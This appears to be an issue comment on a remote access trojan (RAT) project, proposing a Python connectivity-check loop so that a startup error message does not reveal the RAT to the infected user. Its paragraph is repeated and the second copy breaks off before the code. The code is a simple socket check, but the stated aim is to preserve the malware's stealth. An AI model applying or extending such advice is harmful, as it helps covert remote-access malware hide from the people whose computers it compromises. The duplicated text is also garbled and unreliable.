On computer startup/first-run if there is no internet connection a script execution failure error message-box is shown, this blows-away the RAT's stealth capability.
We should check the internet connectivity on startup and either keep looping until a connection is available or exit the script to avoid any display f message-box. Something like the code below (untested) should fix this:
#check internet connectivity and keep looping
while True:
try:
socket.create_connection(("www.google.com", 80))
break
except socket.error:
time.sleep(3);
On computer startup/first-run if there is no internet connection a script execution failure error message-box is shown, this blows-away the RAT's stealth capability.
We should check the internet connectivity on startup and either keep looping until a connection is available or exit the script to avoid any display f message-box. Something like the code below (untested) should fix this: